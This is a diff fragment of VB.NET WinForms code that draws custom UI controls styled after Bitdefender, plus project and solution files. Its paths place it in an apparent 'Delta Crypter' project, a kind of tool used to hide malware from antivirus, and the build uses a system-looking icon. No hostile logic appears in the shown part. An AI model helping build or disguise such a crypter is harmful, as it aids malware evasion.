2 + 20) + 2, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + End Select + '#End Zone + + '#Zone " min string " + controlboxPath.AddString("0", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 3 + 20) + 2, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + '#End Zone + + End Sub + + Private Sub DrawControlBox_Close(ByVal G As Graphics) + G.SmoothingMode = SmoothingMode.HighQuality + + G.FillPath(LGB2, GP3) + + G.SetClip(New Rectangle(Right - Padding - (btnSize.Width + 23) + 1, Padding, btnSize.Width + 3, btnSize.Height)) + G.FillPath(LGB6, GP3) + G.ResetClip() + + G.DrawPath(P3, GP3) + G.DrawPath(P4, GP4) + + '#Zone " If you want white line " + G.DrawLine(P2, R5.Left, R5.Top + 1, R5.Right, R5.Top + 1) + '#End Zone + + '#Zone " Fix !important " + G.DrawLine(P3, R5.Right, R5.Top, R5.Right, R5.Bottom - 4) + G.DrawLine(P4, R6.Right, R6.Top + 1, R6.Right, R6.Bottom - 4) + + G.SmoothingMode = SmoothingMode.Default + + G.FillRectangle(P3.Brush, New Rectangle(R5.X, R5.Y + 1, 1, 1)) + G.FillRectangle(P3.Brush, New Rectangle(R5.Right, R5.Top + 1, 1, 1)) + '#End Zone + + '#Zone " First line " + G.DrawLine(P5, R5.Left + 29, R5.Top + 2, R5.Left + 29, R5.Bottom - 2) + G.DrawLine(P6, R5.Left + 30, R5.Top + 2, R5.Left + 30, R5.Bottom - 2) + '#End Zone + + '#Zone " Second line " + G.DrawLine(P5, R5.Left + 56, R5.Top + 2, R5.Left + 56, R5.Bottom - 2) + '#End Zone + + '#Zone " close string " + controlboxPath.AddString("r", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width + 20) + 2, Padding + 10), Nothing) + G.FillPath(Brushes.White, controlboxPath) + G.DrawPath(Pens.Black, controlboxPath) + '#End Zone + + '#Zone " max string " + Select Case FindForm.WindowState + Case FormWindowState.Maximized + controlboxPath.AddString("2", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 4, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + + Case FormWindowState.Normal + controlboxPath.AddString("1", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 2, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + End Select + '#End Zone + + '#Zone " min string " + controlboxPath.AddString("0", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 3 + 20) + 2, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + '#End Zone + + End Sub + + Private Sub DrawControlBox_Max(ByVal G As Graphics) + G.SmoothingMode = SmoothingMode.HighQuality + + G.FillPath(LGB2, GP3) + + G.SetClip(New Rectangle(Right - Padding - (btnSize.Width * 2 + 23) + 1, Padding, btnSize.Width, btnSize.Height)) + G.FillPath(LGB6, GP3) + G.ResetClip() + + G.DrawPath(P3, GP3) + G.DrawPath(P4, GP4) + + '#Zone " If you want white line " + G.DrawLine(P2, R5.Left, R5.Top + 1, R5.Right, R5.Top + 1) + '#End Zone + + '#Zone " Fix !important " + G.DrawLine(P3, R5.Right, R5.Top, R5.Right, R5.Bottom - 4) + G.DrawLine(P4, R6.Right, R6.Top + 1, R6.Right, R6.Bottom - 4) + + G.SmoothingMode = SmoothingMode.Default + + G.FillRectangle(P3.Brush, New Rectangle(R5.X, R5.Y + 1, 1, 1)) + G.FillRectangle(P3.Brush, New Rectangle(R5.Right, R5.Top + 1, 1, 1)) + '#End Zone + + '#Zone " First line " + G.DrawLine(P5, R5.Left + 29, R5.Top + 2, R5.Left + 29, R5.Bottom - 2) + '#End Zone + + '#Zone " Second line " + G.DrawLine(P5, R5.Left + 56, R5.Top + 2, R5.Left + 56, R5.Bottom - 2) + G.DrawLine(P6, R5.Left + 57, R5.Top + 2, R5.Left + 57, R5.Bottom - 2) + '#End Zone + + '#Zone " close string " + controlboxPath.AddString("r", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width + 20) + 2, Padding + 8), Nothing) + G.FillPath(Brushes.White, controlboxPath) + G.DrawPath(Pens.Black, controlboxPath) + '#End Zone + + '#Zone " max string " + Select Case FindForm.WindowState + Case FormWindowState.Maximized + controlboxPath.AddString("2", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 4, Padding + 10), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + + Case FormWindowState.Normal + controlboxPath.AddString("1", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 2, Padding + 10), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + End Select + '#End Zone + + '#Zone " min string " + controlboxPath.AddString("0", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 3 + 20) + 2, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + '#End Zone + End Sub + + Private Sub DrawControlBox_Min(ByVal G As Graphics) + G.SmoothingMode = SmoothingMode.HighQuality + + G.FillPath(LGB2, GP3) + + G.SetClip(New Rectangle(Right - Padding - (controlSize.Width + 20) + 1, Padding, btnSize.Width + 3, btnSize.Height)) + G.FillPath(LGB6, GP3) + G.ResetClip() + + G.DrawPath(P3, GP3) + G.DrawPath(P4, GP4) + + '#Zone " If you want white line " + G.DrawLine(P2, R5.Left, R5.Top + 1, R5.Right, R5.Top + 1) + '#End Zone + + '#Zone " Fix !important " + G.DrawLine(P3, R5.Right, R5.Top, R5.Right, R5.Bottom - 4) + G.DrawLine(P4, R6.Right, R6.Top + 1, R6.Right, R6.Bottom - 4) + + G.SmoothingMode = SmoothingMode.Default + + G.FillRectangle(P3.Brush, New Rectangle(R5.X, R5.Y + 1, 1, 1)) + G.FillRectangle(P3.Brush, New Rectangle(R5.Right, R5.Top + 1, 1, 1)) + '#End Zone + + '#Zone " First line " + G.DrawLine(P5, R5.Left + 29, R5.Top + 2, R5.Left + 29, R5.Bottom - 2) + G.DrawLine(P6, R5.Left + 30, R5.Top + 2, R5.Left + 30, R5.Bottom - 2) + '#End Zone + + '#Zone " Second line " + G.DrawLine(P5, R5.Left + 56, R5.Top + 2, R5.Left + 56, R5.Bottom - 2) + G.DrawLine(P6, R5.Left + 57, R5.Top + 2, R5.Left + 57, R5.Bottom - 2) + + '#End Zone + + '#Zone " close string " + controlboxPath.AddString("r", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width + 20) + 2, Padding + 8), Nothing) + G.FillPath(Brushes.White, controlboxPath) + G.DrawPath(Pens.Black, controlboxPath) + '#End Zone + + '#Zone " max string " + Select Case FindForm.WindowState + Case FormWindowState.Maximized + controlboxPath.AddString("2", New FontFamily("Webdings"), FontStyle.Regular, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 4, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + + Case FormWindowState.Normal + controlboxPath.AddString("1", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 2 + 20) + 2, Padding + 8), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + End Select + '#End Zone + + '#Zone " min string " + controlboxPath.AddString("0", New FontFamily("Webdings"), FontStyle.Bold, 15, New Point(Right - Padding - (btnSize.Width * 3 + 20) + 2, Padding + 10), Nothing) + G.DrawPath(Pens.Black, controlboxPath) + G.FillPath(Brushes.White, controlboxPath) + '#End Zone + End Sub + + + Private Function ControlRect(ByVal R As Rectangle, ByVal radius As Integer) + Dim GP As New GraphicsPath + GP.AddArc(R.Right - radius, R.Bottom - radius, radius, radius, 0, 90) + GP.AddArc(R.X, R.Bottom - radius, radius, radius, 90, 90) + GP.AddLine(R.Left, R.Top, R.Right, R.Top) + Return GP + End Function + + +#End Region 'Draw + +End Class + +Class BitdefenderSeparator : Inherits Control + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.DoubleBuffer Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor Or ControlStyles.UserPaint, True) + Width = 400 + Height = 3 + BackColor = Color.Transparent + End Sub + +#Region "Declarations" + Private G As Graphics + Private LGB1, LGB2 As LinearGradientBrush + Private P1, P2 As Pen + Private CB1, CB2 As ColorBlend + Private C1, C2 As Color + Private conObj As New ContainerObjectDisposable +#End Region 'Declarations + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + MyBase.OnPaint(e) + '#Zone " Declarations " + Dim Colors1, Colors2 As New List(Of Color) + + C1 = Color.FromArgb(62, 62, 62) + C2 = Color.FromArgb(1, 1, 1) + + G = e.Graphics + + LGB1 = New LinearGradientBrush(New Point(0, 0), New Point(Width, 0), Nothing, Nothing) + LGB2 = New LinearGradientBrush(New Point(0, 1), New Point(Width, 1), Nothing, Nothing) + conObj.AddObjectRange({LGB1, LGB2}) + + CB1 = New ColorBlend + CB2 = New ColorBlend + '#End Zone + + '#Zone " Colors first line " + For i As Integer = 0 To 255 Step 51 + Colors1.Add(Color.FromArgb(i, C1)) + Next + For i As Integer = 255 To 0 Step -51 + Colors1.Add(Color.FromArgb(i, C1)) + Next + '#End Zone + + '#Zone " Colors Second line " + For i As Integer = 0 To 255 Step 51 + Colors2.Add(Color.FromArgb(i, C2)) + Next + For i As Integer = 255 To 0 Step -51 + Colors2.Add(Color.FromArgb(i, C2)) + Next + '#End Zone + + '#Zone " colorblend first line " + CB1.Colors = Colors1.ToArray + CB1.Positions = {0.0, 0.08, 0.16, 0.24, 0.32, 0.4, 0.48, 0.56, 0.64, 0.72, 0.8, 1.0} + '#End Zone + + '#Zone " colorblend second line " + CB2.Colors = Colors2.ToArray + CB2.Positions = {0.0, 0.08, 0.16, 0.24, 0.32, 0.4, 0.48, 0.56, 0.64, 0.72, 0.8, 1.0} + '#End Zone + + '#Zone " Pen " + LGB1.InterpolationColors = CB1 + LGB2.InterpolationColors = CB2 + + P1 = New Pen(LGB1) + P2 = New Pen(LGB2) + conObj.AddObjectRange({P1, P2}) + '#End Zone + + G.DrawLine(P1, 0, 0, Width, 0) + G.DrawLine(P2, 0, 1, Width, 1) + + conObj.Dispose() + End Sub +End Class + + +Class BitdefenderCheckbox : Inherits Control +#Region "Init" +#Region "Event" + Public Event ChangeChecked(ByVal sender As Object, ByVal check As Boolean) + Private _Check As Boolean + Public Property Checked As Boolean + Get + Return _Check + End Get + Set(value As Boolean) + _Check = value + Invalidate() + + RaiseEvent ChangeChecked(Me, value) + End Set + End Property + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseUp(e) : Checked = Not Checked + End Sub + +#End Region 'Event + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.DoubleBuffer Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor Or ControlStyles.UserPaint, True) + Width = 55 + Height = 25 + BackColor = Color.Transparent + oldsize = New Size(55, 25) + End Sub +#End Region 'Init + +#Region "draw" + +#Region "draw init object" + +#Region "Declaration draw object" + Private cn As ContainerObjectDisposable + Private R1, R2, R3, R4, R5, R6 As Rectangle + Private GP1, GP2, GP3, GP4, GP5, GP6 As GraphicsPath + Private LGB1, LGB2, LGB3, LGB4 As LinearGradientBrush + Private PGB1 As PathGradientBrush + Private B1, B2, B3 As SolidBrush + Private G As Graphics + Private P1, P2 As Pen + Dim CheckSize As Size +#End Region 'Declaration draw object + Private Sub Init(e As PaintEventArgs) + G = e.Graphics + cn = New ContainerObjectDisposable + R1 = New Rectangle(1, 1, Width - 2, Height - 2) + R2 = New Rectangle(2, 2, Width - 4, Height - 4) + + GP1 = RoundRect(R1, 11) : cn.AddObject(GP1) + GP2 = RoundRect(R2, 11) : cn.AddObject(GP2) + + B1 = New SolidBrush(Color.FromArgb(40, 40, 40)) : cn.AddObject(B1) + If Checked Then + B2 = New SolidBrush(Color.FromArgb(84, 135, 171)) + PGB1 = New PathGradientBrush(GP2) With {.CenterColor = Color.FromArgb(84, 135, 171), .SurroundColors = {Color.FromArgb(113, 176, 200)}, .FocusScales = New PointF(0.85, 0.65)} + + Else + B2 = New SolidBrush(Color.FromArgb(29, 29, 29)) + PGB1 = New PathGradientBrush(GP2) With {.CenterColor = Color.FromArgb(29, 29, 29), .SurroundColors = {Color.FromArgb(39, 39, 39)}, .FocusScales = New PointF(0.85, 0.65)} + End If + cn.AddObjectRange({B2, PGB1}) + B3 = New SolidBrush(Color.FromArgb(107, 107, 107)) + cn.AddObject(B3) + + CheckSize = New Size(22, R2.Height) + R3 = New Rectangle(Width - 2 - 22, 2, CheckSize.Width, CheckSize.Height) + GP3 = RoundRect(R3, 11) + R4 = New Rectangle(R3.X + 1, R3.Y + 1, R3.Width - 2, R3.Height - 2) + GP4 = RoundRect(R4, 11) + + R5 = New Rectangle(0, 2, CheckSize.Width, CheckSize.Height) + GP5 = RoundRect(R5, 11) + R6 = New Rectangle(R5.X + 1, R5.Y + 1, R5.Width - 2, R5.Height - 2) + GP6 = RoundRect(R6, 11) + cn.AddObjectRange({GP3, GP4, GP5, GP6}) + If Hover Then + LGB1 = New LinearGradientBrush(R3, Color.FromArgb(86, 86, 86), Color.FromArgb(42, 42, 42), LinearGradientMode.Vertical) + LGB2 = New LinearGradientBrush(New Rectangle(R4.X - 1, R4.Y - 1, R4.Width + 2, R4.Height + 2), Color.FromArgb(147, 147, 147), Color.FromArgb(68, 68, 68), LinearGradientMode.Vertical) + P1 = New Pen(LGB2) + + LGB3 = New LinearGradientBrush(R5, Color.FromArgb(86, 86, 86), Color.FromArgb(42, 42, 42), LinearGradientMode.Vertical) + LGB4 = New LinearGradientBrush(New Rectangle(R6.X - 1, R6.Y - 1, R6.Width + 2, R6.Height + 2), Color.FromArgb(147, 147, 147), Color.FromArgb(68, 68, 68), LinearGradientMode.Vertical) + P2 = New Pen(LGB4) + + Else + LGB1 = New LinearGradientBrush(R3, Color.FromArgb(59, 59, 59), Color.FromArgb(29, 29, 29), LinearGradientMode.Vertical) + LGB2 = New LinearGradientBrush(New Rectangle(R4.X - 1, R4.Y - 1, R4.Width + 2, R4.Height + 2), Color.FromArgb(101, 101, 101), Color.FromArgb(42, 42, 42), LinearGradientMode.Vertical) + P1 = New Pen(LGB2) + + LGB3 = New LinearGradientBrush(R5, Color.FromArgb(59, 59, 59), Color.FromArgb(29, 29, 29), LinearGradientMode.Vertical) + LGB4 = New LinearGradientBrush(New Rectangle(R6.X - 1, R6.Y - 1, R6.Width + 2, R6.Height + 2), Color.FromArgb(101, 101, 101), Color.FromArgb(42, 42, 42), LinearGradientMode.Vertical) + P2 = New Pen(LGB4) + + End If + cn.AddObjectRange({LGB1, LGB2, LGB3, LGB4, P1, P2}) + + + End Sub +#End Region 'draw init object + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + MyBase.OnPaint(e) + Init(e) + G.SmoothingMode = SmoothingMode.AntiAlias + G.InterpolationMode = InterpolationMode.HighQualityBicubic + G.FillPath(B1, GP1) + + If Checked Then + + G.FillPath(B2, GP2) + G.FillPath(PGB1, GP2) + G.DrawPath(Pens.Black, GP2) + If Hover Then + G.FillPath(LGB1, GP3) + G.DrawPath(Pens.Black, GP3) + G.DrawPath(P1, GP4) + G.DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), Brushes.Black, 7, 6) + G.DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), Brushes.White, 7, 7) + Else + G.FillPath(LGB1, GP3) + G.DrawPath(Pens.Black, GP3) + G.DrawPath(P1, GP4) + G.DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), Brushes.Black, 7, 6) + G.DrawString("ON", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), Brushes.White, 7, 7) + End If + Else + G.FillPath(B1, GP1) + G.FillPath(B2, GP2) + G.FillPath(PGB1, GP2) + G.DrawPath(Pens.Black, GP2) + If Hover Then + G.FillPath(LGB3, GP5) + G.DrawPath(Pens.Black, GP5) + G.DrawPath(P2, GP6) + G.DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), Brushes.Black, Width - 29, 6) + G.DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), B3, Width - 29, 7) + Else + G.FillPath(LGB3, GP5) + G.DrawPath(Pens.Black, GP5) + G.DrawPath(P2, GP6) + G.DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), Brushes.Black, Width - 29, 6) + G.DrawString("OFF", New Font("Microsoft Sans Serif", 7, FontStyle.Bold), B3, Width - 29, 7) + End If + + End If + cn.Dispose() + End Sub + Private _Hover As Boolean + Private Property Hover As Boolean + Get + Return _Hover + End Get + Set(value As Boolean) + _Hover = value + Invalidate() + End Set + End Property + Protected Overrides Sub onmouseenter(ByVal e As EventArgs) + MyBase.OnMouseEnter(e) + Hover = True + End Sub + Protected Overrides Sub onmouseleave(ByVal e As EventArgs) + MyBase.OnMouseLeave(e) + Hover = False + End Sub + Dim oldsize As Size + + Protected Overrides Sub onclientsizechanged(e As EventArgs) + MyBase.OnClientSizeChanged(e) + Me.Size = oldsize + + End Sub +#End Region 'draw + +End Class + +Class BitdefenderButton : Inherits Control + +#Region "Init" + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.DoubleBuffer Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor Or ControlStyles.UserPaint, True) + Width = 100 + Height = 55 + BackColor = Color.Transparent + End Sub + + + Public Overrides Property Text As String + Get + Return MyBase.Text + End Get + Set(value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Private _Down As Boolean + Private Property Down As Boolean + Get + Return _Down + End Get + Set(value As Boolean) + _Down = value + Invalidate() + End Set + End Property + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + MyBase.OnMouseDown(e) : Down = True + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseUp(e) : Down = False + End Sub + +#Region "Mouse state" + + Private OpenT As Thread + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + MyBase.OnMouseEnter(e) + OpenT = New Thread(AddressOf EnterAnimation) + If Not OpenT.IsAlive Then + OpenT.IsBackground = True + OpenT.Start() + End If + End Sub + Private Sub EnterAnimation() + Dim G As Graphics = Me.CreateGraphics() + R2 = New Rectangle(5, 5, Width - 10, Height - 10) + GP2 = RoundRect(R2, 11) + G.SetClip(GP2) + For fade As Integer = 0 To 5 Step 0.85 + Thread.Sleep(50) + G.FillRectangle(New SolidBrush(Color.FromArgb(fade, Color.White)), ClientRectangle) + Next + End Sub + + +#End Region 'Mouse state + +#End Region 'Init + + +#Region "Draw" +#Region "Draw init Object" + Private C1, C3, C4, C5, C6 As Color + Private R1, R2, R3 As Rectangle + Private GP1, GP2, GP3 As GraphicsPath + Private B1, B2 As SolidBrush + Private P1, P2 As Pen + Private LGB1, LGB2 As LinearGradientBrush + Private SF1 As StringFormat + Private G As Graphics + + Private Sub Init(e As PaintEventArgs) + G = e.Graphics + R1 = New Rectangle(3, 3, Width - 6, Height - 6) + R2 = New Rectangle(5, 5, Width - 10, Height - 10) + R3 = New Rectangle(6, 6, Width - 12, Height - 12) + + GP1 = RoundRect(R1, 11) + GP2 = RoundRect(R2, 11) + GP3 = RoundRect(R3, 11) + + + C1 = Color.FromArgb(100, 41, 41, 41) + C3 = Color.FromArgb(101, 101, 101) + C4 = Color.FromArgb(60, 60, 60) + C5 = Color.FromArgb(28, 28, 28) + C6 = Color.FromArgb(45, 45, 45) + + B1 = New SolidBrush(C1) + B2 = Brushes.White + LGB1 = New LinearGradientBrush(R2, C4, C5, LinearGradientMode.Vertical) + LGB2 = New LinearGradientBrush(R3, C3, C6, LinearGradientMode.Vertical) + + P1 = New Pen(Brushes.Black) + P2 = New Pen(LGB2) + + SF1 = New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center, .Trimming = StringTrimming.Character} + + + End Sub +#End Region 'Draw init Object + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + MyBase.OnPaint(e) + Init(e) + G.SmoothingMode = SmoothingMode.HighQuality + G.FillPath(B1, GP1) + G.FillPath(LGB1, GP2) + G.DrawPath(P1, GP2) + G.DrawPath(P2, GP3) + If Not Down Then + G.DrawString(Text, Font, B2, R3, SF1) + Else + R3.X += 1 : R3.Y += 1 + G.DrawString(Text, Font, B2, R3, SF1) + End If + + + End Sub + + +#End Region 'Draw + +End Class + +Class BitdefenderGroupbox : Inherits ContainerControl + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.DoubleBuffer Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor Or ControlStyles.UserPaint, True) + Width = 100 + Height = 55 + BackColor = Color.Transparent + End Sub + +#Region "property" + + Public Overloads Property Text As String + + Private _Title As String = "Title" + Private _SubTitle As String = "Subtitle" + + Public Property Title As String + Get + Return _Title + End Get + Set(value As String) + _Title = value + Invalidate(False) + End Set + End Property + Public Property Subtitle As String + Get + Return _SubTitle + End Get + Set(value As String) + _SubTitle = value + Invalidate(False) + End Set + End Property +#End Region 'property + + + Private R1, R2 As Rectangle + Private GP1, GP2 As GraphicsPath + Private P1, P2 As Pen + Private B1, B2 As SolidBrush + Private SZ1, SZ2 As Size + Private F1, F2 As Font + Private S1, S2 As String + Private G As Graphics + Private Sub Init(e As PaintEventArgs) + G = e.Graphics + + R1 = New Rectangle(3, 3, Width - 6, Height - 6) + R2 = New Rectangle(4, 4, Width - 8, Height - 8) + + GP1 = RoundRect(R1, 11) + GP2 = RoundRect(R2, 11) + + P1 = Pens.Black + P2 = New Pen(New SolidBrush(Color.FromArgb(68, 68, 68))) + + B1 = New SolidBrush(Color.FromArgb(41, 41, 41)) + B2 = Brushes.White + + F1 = New Font("Verdana", 10, FontStyle.Bold) + F2 = New Font("Verdana", 7, FontStyle.Regular) + + S1 = Title.ToUpper + S2 = Subtitle + + SZ1 = G.MeasureString(S1, F1, Width).ToSize + SZ2 = G.MeasureString(S2, F2, Width).ToSize + + End Sub + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + MyBase.OnPaint(e) : Init(e) + G.SmoothingMode = SmoothingMode.HighQuality + G.FillPath(B1, GP1) + + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + + G.DrawString(S1, F1, B2, CInt((Width - SZ1.Width) / 2), 20) + G.DrawString(S2, F2, B2, CInt((Width - SZ2.Width) / 2), 32) + + End Sub +End Class + +Class BitdefenderRadiobutton : Inherits Control +#Region "Init" +#Region "Event" + Public Event ChangeChecked(ByVal sender As Object, ByVal check As Boolean) + Private _Check As Boolean + Public Property Checked As Boolean + Get + Return _Check + End Get + Set(value As Boolean) + _Check = value + Invalidate() + + RaiseEvent ChangeChecked(Me, value) + End Set + End Property + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + MyBase.OnMouseUp(e) : Checked = Not Checked + End Sub + +#End Region 'Event + Private oldHeight As Integer + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.DoubleBuffer Or ControlStyles.OptimizedDoubleBuffer Or ControlStyles.SupportsTransparentBackColor Or ControlStyles.UserPaint, True) + Width = 100 + Height = 15 + BackColor = Color.Transparent + oldHeight = 15 + End Sub + + Protected Overrides Sub OnClientSizeChanged(ByVal e As EventArgs) + MyBase.OnClientSizeChanged(e) : Height = oldHeight + End Sub + + Public Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(value As String) + MyBase.Text = value + Invalidate() + End Set + End Property +#End Region 'Init + + + + Private R1, R2, R3 As Rectangle + Private GP1, GP2, GP3 As GraphicsPath + Private LGB1, LGB2 As LinearGradientBrush + Private P1, P2 As Pen + Private G As Graphics + Private S1 As String + Private F1 As Font + Private Sub Init(e As PaintEventArgs) + G = e.Graphics + + R1 = New Rectangle(0, 0, Height - 1, Height - 1) + R2 = New Rectangle(R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2) + R3 = New Rectangle(r2.X + 1, r2.Y + 1, R2.width - 2, R2.Height - 2) + + GP1 = New GraphicsPath : GP1.AddEllipse(R1) + GP2 = New GraphicsPath : GP2.AddEllipse(R2) + GP3 = New GraphicsPath : GP3.AddEllipse(R3) + + LGB1 = New LinearGradientBrush(R1, Color.FromArgb(29, 29, 29), Color.FromArgb(39, 39, 39), LinearGradientMode.Vertical) + LGB2 = New LinearGradientBrush(R3, Color.FromArgb(84, 135, 171), Color.FromArgb(113, 176, 200), LinearGradientMode.Vertical) + + P1 = Pens.Black + P2 = New Pen(New SolidBrush(Color.FromArgb(68, 68, 68))) + + S1 = Text + + F1 = New Font("Verdana", 8, FontStyle.Regular) + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + MyBase.OnPaint(e) : Init(e) + G.InterpolationMode = InterpolationMode.HighQualityBicubic + G.SmoothingMode = SmoothingMode.AntiAlias + If Checked Then + G.FillPath(LGB2, GP3) + G.DrawPath(P1, GP3) + G.DrawPath(P2, GP2) + G.DrawString(S1, F1, New SolidBrush(Color.FromArgb(106, 166, 193)), 18, 1) + Else + G.FillPath(LGB1, GP1) + G.DrawPath(P1, GP1) + G.DrawPath(P2, GP2) + G.DrawString(S1, F1, New SolidBrush(Color.FromArgb(147, 147, 147)), 18, 1) + End If + + End Sub +End Class + + +Class ContainerObjectDisposable : Implements IDisposable + Private iList As New List(Of IDisposable) + + Public Sub AddObject(ByVal Obj As IDisposable) + iList.Add(Obj) + End Sub + Public Sub AddObjectRange(ByVal Obj() As IDisposable) + iList.AddRange(Obj) + End Sub +#Region "IDisposable Support" + Private disposedValue As Boolean + Protected Overridable Sub Dispose(disposing As Boolean) + If Not Me.disposedValue Then + If disposing Then + For Each ObjectDisposable As IDisposable In iList + ObjectDisposable.Dispose() +#If DEBUG Then + Debug.WriteLine("Dispose : " & ObjectDisposable.ToString) +#End If + Next + End If + + End If + iList.Clear() + Me.disposedValue = True + End Sub + Public Sub Dispose() Implements IDisposable.Dispose + Dispose(True) + GC.SuppressFinalize(Me) + End Sub +#End Region + +End Class + +Module Helper + + Friend Function RoundRect(ByVal R As Rectangle, radius As Integer) As GraphicsPath + Dim GP As New GraphicsPath + GP.AddArc(R.X, R.Y, radius, radius, 180, 90) + GP.AddArc(R.Right - radius, R.Y, radius, radius, 270, 90) + GP.AddArc(R.Right - radius, R.Bottom - radius, radius, radius, 0, 90) + GP.AddArc(R.X, R.Bottom - radius, radius, radius, 90, 90) + GP.CloseFigure() + Return GP + End Function + +End Module \ No newline at end of file diff --git a/scode (Delta Crypter/s7cry/s7cry.vbproj b/scode (Delta Crypter/s7cry/s7cry.vbproj new file mode 100644 index 0000000..8bb44ca --- /dev/null +++ b/scode (Delta Crypter/s7cry/s7cry.vbproj @@ -0,0 +1,144 @@ + + + + + Debug + AnyCPU + {D5705A26-2FF2-4048-9C63-56E211E9C24F} + WinExe + s7cry.My.MyApplication + s7cry + s7cry + 512 + WindowsForms + v4.5 + + + AnyCPU + true + full + true + true + bin\Debug\ + s7cry.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + s7cry.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + Resources\dpapimig_64.ico + + + My Project\app.manifest + + + + ..\DONE\Dissembler LIB.dll + + + + + + + + + + + + + + + + + + + + + + + Component + + + Form + + + Form1.vb + Form + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + Form1.vb + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + Designer + + + + + + + + + + + \ No newline at end of file diff --git a/scode (Delta Crypter/s7cry/s7cry.vbproj.user b/scode (Delta Crypter/s7cry/s7cry.vbproj.user new file mode 100644 index 0000000..b4af33b --- /dev/null +++ b/scode (Delta Crypter/s7cry/s7cry.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (Delta Crypter/st/9372.sln b/scode (Delta Crypter/st/9372.sln new file mode 100644 index 0000000..1cfb8c5 --- /dev/null +++ b/scode (Delta Crypter/st/9372.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.21005.1 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "9372", "9372\9372.vbproj", "{C9AD24EE-8103-41CB-808A-5FEED9E94546}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + 